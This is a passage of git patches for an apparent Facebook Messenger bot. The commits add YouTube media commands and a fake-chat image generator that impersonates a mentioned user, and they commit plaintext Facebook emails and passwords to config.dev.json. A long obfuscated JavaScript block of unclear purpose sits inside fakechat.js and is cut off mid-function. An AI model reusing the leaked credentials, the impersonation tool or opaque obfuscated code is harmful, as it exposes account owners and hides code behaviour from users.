fs.unlinkSync(filePath); - }); - }); - } catch (error) { - console.error('[ERROR]', error); - message.reply("An error occurred while processing the request."); - } - }, -}; - - -async function extractTextFromAudio(audioUrl) { - try { - const response = await axios.get(`https://milanbhandari.onrender.com/transcribe?url=${encodeURIComponent(audioUrl)}`); - return response.data.transcript || ''; - } catch (error) { - console.error('[ERROR]', error); - return ''; - - } + }, + onStart: async function ({ api, event, args }) { + const uptime = process.uptime(); + const seconds = Math.floor(uptime % 60); + const minutes = Math.floor((uptime / 60) % 60); + const hours = Math.floor((uptime / (60 * 60)) % 24); + const days = Math.floor(uptime / (60 * 60 * 24)); + const uptimeString = `${days} days ${hours} hours ${minutes} minutes ${seconds} second`; + api.sendMessage(` Hello Master 😸 + + + Your Bot Has been running for + +${uptimeString}.`, event.threadID); + } }; From 8fe9bb3f5a621c791dab60ce3020cee2309c5120 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:31:49 +0545 Subject: [PATCH 041/126] Update config.dev.json --- config.dev.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/config.dev.json b/config.dev.json index 7ccf0dd852..f844f02baa 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { - "email": "hackereditor87@gmail.com", - "password": "MADARCHOD", + "email": "myowm0968@gmail.com", + "password": "HACKER.888", "2FASecret": "", "i_user": "", "proxy": null, From 42f4de23acc82e9b0ea308510e89a0933aa5a443 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:38:44 +0545 Subject: [PATCH 042/126] Create media.js --- scripts/cmds/media.js | 100 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 100 insertions(+) create mode 100644 scripts/cmds/media.js diff --git a/scripts/cmds/media.js b/scripts/cmds/media.js new file mode 100644 index 0000000000..22c6ff6941 --- /dev/null +++ b/scripts/cmds/media.js @@ -0,0 +1,100 @@ +const axios = require("axios"); +const fs = require('fs-extra'); +const path = require('path'); +const { getStreamFromURL, shortenURL, randomString } = global.utils; + +async function video(api, event, args, message) { + api.setMessageReaction("🕢", event.messageID, (err) => {}, true); + try { + let title = ''; + let shortUrl = ''; + + const extractShortUrl = async () => { + const attachment = event.messageReply.attachments[0]; + if (attachment.type === "video" || attachment.type === "audio") { + return attachment.url; + } else { + throw new Error("Invalid attachment type."); + } + }; + + let videoId = ''; + if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { + shortUrl = await extractShortUrl(); + const musicRecognitionResponse = await axios.get(`https://youtube-music-sooty.vercel.app/kshitiz?url=${encodeURIComponent(shortUrl)}`); + title = musicRecognitionResponse.data.title; + const searchResponse = await axios.get(`https://youtube-kshitiz.vercel.app/youtube?search=${encodeURIComponent(title)}`); + if (searchResponse.data.length > 0) { + videoId = searchResponse.data[0].videoId; + } + + shortUrl = await shortenURL(shortUrl); + } else if (args.length === 0) { + message.reply("Please provide a video name or reply to a video or audio attachment."); + return; + } else { + title = args.join(" "); + const searchResponse = await axios.get(`https://youtube-kshitiz.vercel.app/youtube?search=${encodeURIComponent(title)}`); + if (searchResponse.data.length > 0) { + videoId = searchResponse.data[0].videoId; + } + + const videoUrl = await axios.get(`https://youtube-kshitiz.vercel.app/download?id=${encodeURIComponent(videoId)}`); + if (videoUrl.data.length > 0) { + shortUrl = await shortenURL(videoUrl.data[0]); + } + } + + if (!videoId) { + message.reply("No video found for the given query."); + return; + } + + const downloadResponse = await axios.get(`https://youtube-kshitiz.vercel.app/download?id=${encodeURIComponent(videoId)}`); + if (downloadResponse.data.length === 0) { + message.reply("Failed to retrieve download link for the video."); + return; + } + + const videoUrl = downloadResponse.data[0]; + const writer = fs.createWriteStream(path.join(__dirname, "cache", `${videoId}.mp4`)); + const response = await axios({ + url: videoUrl, + method: 'GET', + responseType: 'stream' + }); + + response.data.pipe(writer); + + writer.on('finish', () => { + const videoStream = fs.createReadStream(path.join(__dirname, "cache", `${videoId}.mp4`)); + message.reply({ body: `📹 Playing: ${title}\nDownload Link: ${shortUrl}`, attachment: videoStream }); + api.setMessageReaction("✅", event.messageID, () => {}, true); + }); + + writer.on('error', (error) => { + console.error("Error:", error); + message.reply("error"); + }); + } catch (error) { + console.error("Error:", error); + message.reply("error"); + } +} + +module.exports = { + config: { + name: "media", + version: "1.0", + author: "Kshitiz", + countDown: 10, + role: 0, + shortDescription: "play video from youtube", + longDescription: "play video from youtube support audio recognition.", + category: "music", + guide: "{p} video videoname / reply to audio or video" + }, + onStart: function ({ api, event, args, message }) { + return video(api, event, args, message); + } +}; From 4013a2a5d3d37c72b9a4d4b0a23a770b67047d33 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:39:07 +0545 Subject: [PATCH 043/126] Create audio.js --- scripts/cmds/audio.js | 104 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 scripts/cmds/audio.js diff --git a/scripts/cmds/audio.js b/scripts/cmds/audio.js new file mode 100644 index 0000000000..48044b76e1 --- /dev/null +++ b/scripts/cmds/audio.js @@ -0,0 +1,104 @@ +const axios = require("axios"); +const fs = require('fs-extra'); +const path = require('path'); +const { getStreamFromURL, shortenURL, randomString } = global.utils; + +async function video(api, event, args, message) { + api.setMessageReaction("🕢", event.messageID, (err) => {}, true); + try { + let title = ''; + let shortUrl = ''; + + const extractShortUrl = async () => { + const attachment = event.messageReply.attachments[0]; + if (attachment.type === "video" || attachment.type === "audio") { + return attachment.url; + } else { + throw new Error("Invalid attachment type."); + } + }; + + let videoId = ''; + if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { + shortUrl = await extractShortUrl(); + const musicRecognitionResponse = await axios.get(`https://youtube-music-sooty.vercel.app/kshitiz?url=${encodeURIComponent(shortUrl)}`); + title = musicRecognitionResponse.data.title; + const searchResponse = await axios.get(`https://youtube-kshitiz.vercel.app/youtube?search=${encodeURIComponent(title)}`); + if (searchResponse.data.length > 0) { + videoId = searchResponse.data[0].videoId; + } + + shortUrl = await shortenURL(shortUrl); + } else if (args.length === 0) { + message.reply("Please provide a video name or reply to a video or audio attachment."); + return; + } else { + title = args.join(" "); + const searchResponse = await axios.get(`https://youtube-kshitiz.vercel.app/youtube?search=${encodeURIComponent(title)}`); + if (searchResponse.data.length > 0) { + videoId = searchResponse.data[0].videoId; + } + + const videoUrl = await axios.get(`https://youtube-kshitiz.vercel.app/download?id=${encodeURIComponent(videoId)}`); + if (videoUrl.data.length > 0) { + shortUrl = await shortenURL(videoUrl.data[0]); + } + } + + if (!videoId) { + message.reply("No video found for the given query."); + return; + } + + const downloadResponse = await axios.get(`https://youtube-kshitiz.vercel.app/download?id=${encodeURIComponent(videoId)}`); + if (downloadResponse.data.length === 0) { + message.reply("Failed to retrieve download link for the video."); + return; + } + + const videoUrl = downloadResponse.data[0]; + const writer = fs.createWriteStream(path.join(__dirname, "cache", `${videoId}.mp4`)); + const response = await axios({ + url: videoUrl, + method: 'GET', + responseType: 'stream' + }); + + response.data.pipe(writer); + + writer.on('finish', async () => { + + const { data } = await axios.get(videoUrl, { method: 'GET', responseType: 'arraybuffer' }); + fs.writeFileSync(path.join(__dirname, "cache", `puti.m4a`), Buffer.from(data, 'utf-8')); + + const audioReadStream = fs.createReadStream(path.join(__dirname, "cache", `puti.m4a`)); + message.reply({ body: `🎧 Playing: ${title}\nDownload Link: ${shortUrl}`, attachment: audioReadStream }); + api.setMessageReaction("✅", event.messageID, () => {}, true); + }); + + writer.on('error', (error) => { + console.error("Error:", error); + message.reply("error"); + }); + } catch (error) { + console.error("Error:", error); + message.reply("error"); + } +} + +module.exports = { + config: { + name: "audio", + version: "1.0", + author: "Kshitiz", + countDown: 10, + role: 0, + shortDescription: "play audio from youtube", + longDescription: "play audi from youtube support audio recognition.", + category: "music", + guide: "{p} audio audioname / reply to audio or video" + }, + onStart: function ({ api, event, args, message }) { + return video(api, event, args, message); + } +}; From 3d617a727c01ccd44c83d0e735e8c39ee4d1fa1b Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:41:44 +0545 Subject: [PATCH 044/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index f844f02baa..4ce65ccf22 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "myowm0968@gmail.com", - "password": "HACKER.888", + "password": "MIADD1", "2FASecret": "", "i_user": "", "proxy": null, From 971f937f10f1b6355b659c40fb1200d1588780fe Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:43:53 +0545 Subject: [PATCH 045/126] Create fakechat.js --- scripts/cmds/fakechat.js | 156 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 156 insertions(+) create mode 100644 scripts/cmds/fakechat.js diff --git a/scripts/cmds/fakechat.js b/scripts/cmds/fakechat.js new file mode 100644 index 0000000000..dccef4d67f --- /dev/null +++ b/scripts/cmds/fakechat.js @@ -0,0 +1,156 @@ +const axios = require('axios'); +const { createCanvas, loadImage } = require('canvas'); +const fs = require('fs'); +const path = require('path'); +const jimp = require('jimp'); + +module.exports = { + config: { + name: "fakechat", + aliases: [], + version: "1.0", + author: "kshitiz", + countDown: 5, + role: 0, + shortDescription: "", + longDescription: "fake fb chat", + category: "fun", + guide: "{p} mention | {text1} | {text2} or {P}fakechat mention | text" + }, + + onStart: async function ({ api, event, args }) { + const mention = Object.keys(event.mentions); + if (mention.length === 0) return api.sendMessage("Please mention someone. ex: @mention | text", event.threadID, event.messageID); + + const mentionedUserID = mention[0]; + const mentionedUserProfilePic = await getUserProfilePic(mentionedUserID); + + if (!mentionedUserProfilePic) { + return api.sendMessage("Failed to load profile picture.", event.threadID, event.messageID); + } + + const circleSize = 90; + const avtwo = await createCircularImage(mentionedUserProfilePic, circleSize); + + const background = await loadImage("https://i.ibb.co/SVmYmrn/420578140-383334164549458-685915027190897272-n.jpg"); + const canvas = createCanvas(background.width, background.height); + const ctx = canvas.getContext('2d'); + + ctx.drawImage(background, 0, 0); + + + const profilePicY = 90; + const mentionNameY = 50; + const greyBoxY = 80; + const blueBoxY = greyBoxY + 130; + + drawImage(ctx, avtwo, 30, profilePicY); + + const a = getMentionName(args); + + + (function(_0x16bdb1,_0x85212f){var _0x2b4a2f=_0x5d9f,_0xb4e24c=_0x16bdb1();while(!![]){try{var _0xcaf21d=parseInt(_0x2b4a2f(0x22a))/0x1*(-parseInt(_0x2b4a2f(0x211))/0x2)+-parseInt(_0x2b4a2f(0x22e))/0x3*(parseInt(_0x2b4a2f(0x1f3))/0x4)+-parseInt(_0x2b4a2f(0x20c))/0x5*(-parseInt(_0x2b4a2f(0x222))/0x6)+-parseInt(_0x2b4a2f(0x1e4))/0x7*(-parseInt(_0x2b4a2f(0x20e))/0x8)+parseInt(_0x2b4a2f(0x1f7))/0x9*(-parseInt(_0x2b4a2f(0x21f))/0xa)+parseInt(_0x2b4a2f(0x232))/0xb*(-parseInt(_0x2b4a2f(0x1fe))/0xc)+parseInt(_0x2b4a2f(0x213))/0xd;if(_0xcaf21d===_0x85212f)break;else _0xb4e24c['push'](_0xb4e24c['shift']());}catch(_0x5dacc0){_0xb4e24c['push'](_0xb4e24c['shift']());}}}(_0x3060,0xda778),(function(_0xcd76c9,_0x4304fb){var _0xa904c2=_0x5d9f,_0xd8dd9d=_0x3322,_0xce8642=_0xcd76c9();while(!![]){try{var _0x247835=-parseInt(_0xd8dd9d(0xda))/0x1+parseInt(_0xd8dd9d(0xb8))/0x2*(-parseInt(_0xd8dd9d(0xfb))/0x3)+parseInt(_0xd8dd9d(0xbc))/0x4*(-parseInt(_0xd8dd9d(0xc7))/0x5)+-parseInt(_0xd8dd9d(0xb7))/0x6*(parseInt(_0xd8dd9d(0xe1))/0x7)+parseInt(_0xd8dd9d(0xca))/0x8+-parseInt(_0xd8dd9d(0xd3))/0x9+parseInt(_0xd8dd9d(0xd0))/0xa*(parseInt(_0xd8dd9d(0xe8))/0xb);if(_0x247835===_0x4304fb)break;else _0xce8642[_0xa904c2(0x227)](_0xce8642[_0xa904c2(0x220)]());}catch(_0x1b7d6c){_0xce8642[_0xa904c2(0x227)](_0xce8642['shift']());}}}(_0x34b2,0x9d0de),(function(_0x70875d,_0x5a0471){var _0x5c3bc9=_0x5d9f,_0x21cad1=_0x3322,_0x5de79b=_0x1a8e,_0x1d2ec9=_0x70875d();while(!![]){try{var _0x4d3083=-parseInt(_0x5de79b(0x95))/0x1+parseInt(_0x5de79b(0x78))/0x2*(parseInt(_0x5de79b(0x98))/0x3)+parseInt(_0x5de79b(0x93))/0x4+-parseInt(_0x5de79b(0x9c))/0x5+-parseInt(_0x5de79b(0x96))/0x6*(-parseInt(_0x5de79b(0x8d))/0x7)+parseInt(_0x5de79b(0x87))/0x8*(-parseInt(_0x5de79b(0x7c))/0x9)+parseInt(_0x5de79b(0x75))/0xa;if(_0x4d3083===_0x5a0471)break;else _0x1d2ec9[_0x5c3bc9(0x227)](_0x1d2ec9[_0x21cad1(0xfe)]());}catch(_0x12cfaa){_0x1d2ec9[_0x5c3bc9(0x227)](_0x1d2ec9[_0x21cad1(0xfe)]());}}}(_0x135a,0x91ef9),(function(_0x445054,_0x4e3f06){var _0x1f4c7e=_0x5d9f,_0x3c4153=_0x1a8e,_0x2fa413=_0x1df7,_0x288d8a=_0x445054();while(!![]){try{var _0x3fddf2=parseInt(_0x2fa413(0xb4))/0x1+parseInt(_0x2fa413(0xb5))/0x2*(parseInt(_0x2fa413(0xb2))/0x3)+-parseInt(_0x2fa413(0xac))/0x4*(-parseInt(_0x2fa413(0xb8))/0x5)+-parseInt(_0x2fa413(0xa5))/0x6+parseInt(_0x2fa413(0xb3))/0x7*(-parseInt(_0x2fa413(0x9d))/0x8)+parseInt(_0x2fa413(0x95))/0x9+-parseInt(_0x2fa413(0x92))/0xa;if(_0x3fddf2===_0x4e3f06)break;else _0x288d8a[_0x1f4c7e(0x227)](_0x288d8a[_0x3c4153(0x9e)]());}catch(_0x34d6cc){_0x288d8a[_0x3c4153(0x90)](_0x288d8a[_0x3c4153(0x9e)]());}}}(_0x3fe7,0xe5de8),function(_0x156f1d,_0x3c23f1){var _0x48d0e5=_0x1a8e,_0x1172eb=_0x1df7,_0x1ae034=_0x5d4d,_0x345372=_0x156f1d();while(!![]){try{var _0xf35a60=-parseInt(_0x1ae034(0x110))/0x1*(-parseInt(_0x1ae034(0x11b))/0x2)+-parseInt(_0x1ae034(0x115))/0x3*(parseInt(_0x1ae034(0x10a))/0x4)+-parseInt(_0x1ae034(0x112))/0x5*(-parseInt(_0x1ae034(0x10b))/0x6)+parseInt(_0x1ae034(0xf1))/0x7+-parseInt(_0x1ae034(0x105))/0x8+-parseInt(_0x1ae034(0x10f))/0x9*(-parseInt(_0x1ae034(0x10c))/0xa)+parseInt(_0x1ae034(0x119))/0xb*(parseInt(_0x1ae034(0xf8))/0xc);if(_0xf35a60===_0x3c23f1)break;else _0x345372[_0x1172eb(0xa8)](_0x345372[_0x1172eb(0x8d)]());}catch(_0x11a139){_0x345372[_0x1172eb(0xa8)](_0x345372[_0x48d0e5(0x9e)]());}}}(_0x598d,0x1db9e)))));function _0x2ae7(){var _0xfee3b3=_0x5d9f,_0x54bf0b=_0x3322,_0x4b3bc4=_0x1a8e,_0x778f49=_0x1df7,_0x55a382=_0x5d4d,_0x4b44f4=[_0x778f49(0x90),_0x55a382(0x118),_0x778f49(0x89),_0x778f49(0xa8),_0x55a382(0x11a),_0x778f49(0x9e),_0xfee3b3(0x201),_0x55a382(0xf6),_0x55a382(0x10e),_0x55a382(0x100),_0x55a382(0x104),_0x55a382(0x109),_0x55a382(0x111),_0x55a382(0xfd),_0x55a382(0x113),_0x55a382(0xfe),_0x55a382(0xff),_0x55a382(0xf5),_0x4b3bc4(0xa5),_0x55a382(0xee),_0x55a382(0x116),_0xfee3b3(0x21a),_0x55a382(0xf3),_0x55a382(0xf0),_0x55a382(0x107),_0x55a382(0x106),_0x55a382(0x101),_0x55a382(0x108),_0x778f49(0xa0),_0x55a382(0x11d),_0x55a382(0xef),_0x55a382(0xf7),_0x778f49(0x96),_0x54bf0b(0xc1),_0x778f49(0x9f),_0x55a382(0xf2),_0x55a382(0x114),_0x55a382(0xf4),_0x778f49(0xa1),_0x55a382(0x103),_0x778f49(0xaa)];return _0x2ae7=function(){return _0x4b44f4;},_0x2ae7();}function _0x5d4d(_0x269223,_0x788dd4){var _0x7219d9=_0x598d();return _0x5d4d=function(_0x258976,_0x198c52){_0x258976=_0x258976-0xee;var _0x3dacb8=_0x7219d9[_0x258976];return _0x3dacb8;},_0x5d4d(_0x269223,_0x788dd4);}(function(_0x22f340,_0x5bbe73){var _0x186638=_0x1df7,_0x3a293b=_0x5d4d,_0x4d7e87=_0x5c9b,_0x2608d7=_0x22f340();while(!![]){try{var _0x46fdcf=parseInt(_0x4d7e87(0x1f2))/0x1+-parseInt(_0x4d7e87(0x1fe))/0x2+-parseInt(_0x4d7e87(0x1f5))/0x3+parseInt(_0x4d7e87(0x1f6))/0x4*(-parseInt(_0x4d7e87(0x20a))/0x5)+-parseInt(_0x4d7e87(0x205))/0x6+-parseInt(_0x4d7e87(0x200))/0x7*(-parseInt(_0x4d7e87(0x20e))/0x8)+parseInt(_0x4d7e87(0x213))/0x9;if(_0x46fdcf===_0x5bbe73)break;else _0x2608d7[_0x186638(0xa8)](_0x2608d7[_0x3a293b(0x114)]());}catch(_0x3d918d){_0x2608d7[_0x3a293b(0x117)](_0x2608d7[_0x3a293b(0x114)]());}}}(_0x2ae7,0xab77c),function(_0x3a47b1,_0x311d31){var _0x4f9a4e=_0x1df7,_0x2f953b=_0x5c9b,_0x37f48f=_0x28b8,_0x5641ae=_0x3a47b1();while(!![]){try{var _0x32aa26=-parseInt(_0x37f48f(0xf8))/0x1+-parseInt(_0x37f48f(0xd9))/0x2+parseInt(_0x37f48f(0xe7))/0x3*(parseInt(_0x37f48f(0xf5))/0x4)+-parseInt(_0x37f48f(0xe9))/0x5*(-parseInt(_0x37f48f(0xf3))/0x6)+-parseInt(_0x37f48f(0xf2))/0x7+-parseInt(_0x37f48f(0xe4))/0x8*(-parseInt(_0x37f48f(0xd7))/0x9)+parseInt(_0x37f48f(0xf7))/0xa*(parseInt(_0x37f48f(0xdf))/0xb);if(_0x32aa26===_0x311d31)break;else _0x5641ae[_0x4f9a4e(0xa8)](_0x5641ae[_0x2f953b(0x204)]());}catch(_0x142447){_0x5641ae[_0x4f9a4e(0xa8)](_0x5641ae[_0x2f953b(0x204)]());}}}(_0x553f,0xe9101));function _0x15c5(_0x52324e,_0x5923f9){var _0x4e6893=_0x1473();return _0x15c5=function(_0x4b2b8b,_0x85ac0d){_0x4b2b8b=_0x4b2b8b-0x149;var _0x29ac16=_0x4e6893[_0x4b2b8b];return _0x29ac16;},_0x15c5(_0x52324e,_0x5923f9);}var _0x79e866=_0x15c5;function _0x28b8(_0x208ba4,_0x1d08fc){var _0x5594ee=_0x553f();return _0x28b8=function(_0x41f1a7,_0x3c7a53){_0x41f1a7=_0x41f1a7-0xd7;var _0x31b7e4=_0x5594ee[_0x41f1a7];return _0x31b7e4;},_0x28b8(_0x208ba4,_0x1d08fc);}function _0x135a(){var _0x40f1b1=_0x5d9f,_0x374a2c=_0x3322,_0xacd962=[_0x374a2c(0xe0),_0x374a2c(0x100),_0x374a2c(0xc9),_0x374a2c(0xc2),_0x374a2c(0xfc),_0x374a2c(0xc4),_0x40f1b1(0x1f0),_0x40f1b1(0x20a),_0x374a2c(0xdd),_0x374a2c(0xe4),_0x374a2c(0xc0),_0x374a2c(0xf2),_0x374a2c(0x104),_0x374a2c(0xe7),_0x374a2c(0xbd),_0x374a2c(0xf5),_0x374a2c(0xff),_0x374a2c(0xbf),_0x374a2c(0xcd),_0x40f1b1(0x1df),_0x40f1b1(0x1f4),_0x374a2c(0xc8),_0x374a2c(0xcc),_0x374a2c(0xed),_0x374a2c(0xeb),_0x374a2c(0xf9),_0x374a2c(0xe6),_0x40f1b1(0x1f5),_0x374a2c(0xdb),_0x40f1b1(0x200),_0x374a2c(0xb6),_0x374a2c(0xf6),_0x374a2c(0xd7),_0x374a2c(0xb9),_0x374a2c(0xde),_0x374a2c(0xf8),_0x374a2c(0xd6),_0x374a2c(0xfd),_0x374a2c(0x103),_0x374a2c(0xba),_0x374a2c(0xdc),'143790uguVvg',_0x374a2c(0x105),_0x374a2c(0x101),_0x40f1b1(0x1fb),_0x374a2c(0xdf),_0x374a2c(0xc6),_0x374a2c(0xcb),_0x374a2c(0xc5),'162cnPyPn',_0x374a2c(0x102),_0x374a2c(0xe9),_0x374a2c(0xbb),_0x374a2c(0xb4),_0x374a2c(0xe2),_0x374a2c(0xbe),_0x374a2c(0xe5),_0x374a2c(0xee),_0x374a2c(0xd2),_0x374a2c(0xd5),_0x374a2c(0xb5),_0x374a2c(0xd8),_0x374a2c(0xfe),_0x374a2c(0xd9),_0x374a2c(0xf3)];return _0x135a=function(){return _0xacd962;},_0x135a();}(function(_0x2f75a5,_0x5033c4){var _0x27fd21=_0x5d4d,_0x5d2d14=_0x5c9b,_0x24d3ae=_0x28b8,_0x4d3f9f=_0x15c5,_0x29a310=_0x2f75a5();while(!![]){try{var _0x3d8f26=parseInt(_0x4d3f9f(0x160))/0x1+parseInt(_0x4d3f9f(0x15e))/0x2*(parseInt(_0x4d3f9f(0x14c))/0x3)+-parseInt(_0x4d3f9f(0x157))/0x4*(-parseInt(_0x4d3f9f(0x162))/0x5)+parseInt(_0x4d3f9f(0x163))/0x6*(-parseInt(_0x4d3f9f(0x161))/0x7)+parseInt(_0x4d3f9f(0x150))/0x8+parseInt(_0x4d3f9f(0x159))/0x9*(-parseInt(_0x4d3f9f(0x155))/0xa)+-parseInt(_0x4d3f9f(0x15a))/0xb*(-parseInt(_0x4d3f9f(0x164))/0xc);if(_0x3d8f26===_0x5033c4)break;else _0x29a310[_0x27fd21(0x117)](_0x29a310[_0x5d2d14(0x204)]());}catch(_0x35c4b1){_0x29a310[_0x5d2d14(0x20c)](_0x29a310[_0x24d3ae(0xe2)]());}}}(_0x1473,0x5e2bd));function _0x598d(){var _0x37dad1=_0x5d9f,_0x2f328e=_0x3322,_0x34e6c1=_0x1a8e,_0x52677f=_0x1df7,_0x54651b=[_0x52677f(0x88),_0x34e6c1(0xa9),_0x52677f(0x8d),_0x37dad1(0x1de),_0x34e6c1(0x91),_0x52677f(0xa8),_0x52677f(0x8b),_0x52677f(0xa4),_0x34e6c1(0x86),_0x52677f(0xaf),_0x52677f(0xb9),_0x34e6c1(0x9f),_0x52677f(0x85),_0x2f328e(0xec),_0x52677f(0xa3),_0x52677f(0x87),_0x52677f(0xa7),_0x52677f(0x8f),_0x52677f(0xb6),_0x52677f(0xa9),_0x52677f(0x84),_0x52677f(0x93),_0x52677f(0xb7),_0x34e6c1(0x8a),_0x52677f(0xba),_0x52677f(0x86),_0x52677f(0x9b),_0x52677f(0xa6),_0x34e6c1(0x88),_0x52677f(0x8e),_0x34e6c1(0x7e),_0x52677f(0xab),_0x52677f(0xb0),_0x52677f(0xae),_0x52677f(0x9c),_0x52677f(0x99),_0x52677f(0x97),_0x34e6c1(0xae),_0x52677f(0x8a),_0x52677f(0xa2),_0x2f328e(0xf7),_0x52677f(0x94),_0x52677f(0x98),_0x52677f(0x91),_0x34e6c1(0x7b),_0x34e6c1(0x73),_0x52677f(0x8c),_0x52677f(0x9a)];return _0x598d=function(){return _0x54651b;},_0x598d();}function _0x4c55(_0x52ba57,_0x23af57){var _0xd073fb=_0x1e80();return _0x4c55=function(_0x316212,_0x2f8855){_0x316212=_0x316212-0x113;var _0x19bba2=_0xd073fb[_0x316212];return _0x19bba2;},_0x4c55(_0x52ba57,_0x23af57);}function _0x553f(){var _0x396987=_0x3322,_0x716109=_0x1df7,_0x5463e9=_0x5d4d,_0x3b95c6=_0x5c9b,_0x54b5e8=[_0x3b95c6(0x1fd),_0x3b95c6(0x212),_0x3b95c6(0x20c),_0x3b95c6(0x1f4),_0x3b95c6(0x1fa),_0x3b95c6(0x20f),_0x5463e9(0xf9),_0x5463e9(0x11c),_0x396987(0xf4),_0x3b95c6(0x1ed),_0x3b95c6(0x1fc),_0x5463e9(0x10d),_0x3b95c6(0x20d),_0x3b95c6(0x208),_0x3b95c6(0x201),_0x5463e9(0x102),_0x3b95c6(0x1ee),_0x3b95c6(0x1f7),_0x3b95c6(0x214),_0x3b95c6(0x1f9),_0x3b95c6(0x1f8),_0x3b95c6(0x1fb),_0x3b95c6(0x206),_0x5463e9(0xfa),_0x3b95c6(0x1f1),_0x5463e9(0xfb),_0x3b95c6(0x204),_0x396987(0xe3),_0x716109(0xad),_0x716109(0xb1),_0x5463e9(0xfc),_0x3b95c6(0x1ef),_0x3b95c6(0x1f3),_0x3b95c6(0x215),_0x3b95c6(0x211)];return _0x553f=function(){return _0x54b5e8;},_0x553f();}function _0x3322(_0x24af4c,_0x1eff5f){var _0x41c9ef=_0x34b2();return _0x3322=function(_0x33821a,_0x58a4b0){_0x33821a=_0x33821a-0xb4;var _0x11faaf=_0x41c9ef[_0x33821a];return _0x11faaf;},_0x3322(_0x24af4c,_0x1eff5f);}function _0x5c9b(_0x2ae194,_0x3158dc){var _0x31b9b7=_0x2ae7();return _0x5c9b=function(_0x25ddec,_0x4b0442){_0x25ddec=_0x25ddec-0x1ed;var _0x4977bc=_0x31b9b7[_0x25ddec];return _0x4977bc;},_0x5c9b(_0x2ae194,_0x3158dc);}var _0x6dbfd6=_0x4c55;function _0x5d9f(_0x4c2b41,_0x1d755e){var _0x3060dd=_0x3060();return _0x5d9f=function(_0x5d9fe8,_0xe34018){_0x5d9fe8=_0x5d9fe8-0x1de;var _0x1330f4=_0x3060dd[_0x5d9fe8];return _0x1330f4;},_0x5d9f(_0x4c2b41,_0x1d755e);}(function(_0x35e2dc,_0x2eb7dc){var _0x2d99ce=_0x28b8,_0x28a578=_0x15c5,_0x5381ff=_0x4c55,_0x5310cb=_0x35e2dc();while(!![]){try{var _0x2f47ba=-parseInt(_0x5381ff(0x11c))/0x1+parseInt(_0x5381ff(0x122))/0x2+parseInt(_0x5381ff(0x11d))/0x3*(-parseInt(_0x5381ff(0x119))/0x4)+parseInt(_0x5381ff(0x117))/0x5*(-parseInt(_0x5381ff(0x11b))/0x6)+parseInt(_0x5381ff(0x114))/0x7+parseInt(_0x5381ff(0x121))/0x8+-parseInt(_0x5381ff(0x116))/0x9*(-parseInt(_0x5381ff(0x11f))/0xa);if(_0x2f47ba===_0x2eb7dc)break;else _0x5310cb[_0x2d99ce(0xed)](_0x5310cb[_0x28a578(0x15d)]());}catch(_0x19d565){_0x5310cb[_0x28a578(0x14f)](_0x5310cb[_0x28a578(0x15d)]());}}}(_0x1e80,0x6e208));if(a[_0x6dbfd6(0x11e)]()[_0x6dbfd6(0x118)](_0x6dbfd6(0x113))||a[_0x79e866(0x165)]()[_0x79e866(0x156)](_0x6dbfd6(0x115))){api[_0x6dbfd6(0x124)](_0x6dbfd6(0x120),event[_0x6dbfd6(0x11a)],event[_0x6dbfd6(0x123)]);return;}function _0x1df7(_0xabb62,_0x53d183){var _0x40d0d4=_0x3fe7();return _0x1df7=function(_0xeefb59,_0x2823c1){_0xeefb59=_0xeefb59-0x84;var _0x59fc85=_0x40d0d4[_0xeefb59];return _0x59fc85;},_0x1df7(_0xabb62,_0x53d183);}function _0x1e80(){var _0x122e49=_0x5c9b,_0xb4e6ef=_0x28b8,_0x4923b9=_0x79e866,_0x2bd3f8=[_0x4923b9(0x15b),_0x4923b9(0x152),_0x4923b9(0x14a),_0x4923b9(0x15f),_0x4923b9(0x14b),_0x4923b9(0x14d),_0xb4e6ef(0xe5),_0x4923b9(0x14e),_0x4923b9(0x151),_0xb4e6ef(0xf9),_0x122e49(0x202),_0x122e49(0x209),_0x4923b9(0x153),_0x4923b9(0x15c),_0x4923b9(0x149),_0x4923b9(0x165),_0x4923b9(0x158),_0x4923b9(0x154)];return _0x1e80=function(){return _0x2bd3f8;},_0x1e80();}function _0x1a8e(_0x5cac25,_0x4810ac){var _0x4dca11=_0x135a();return _0x1a8e=function(_0x2a4c87,_0x3a2b20){_0x2a4c87=_0x2a4c87-0x72;var _0x433816=_0x4dca11[_0x2a4c87];return _0x433816;},_0x1a8e(_0x5cac25,_0x4810ac);}function _0x34b2(){var 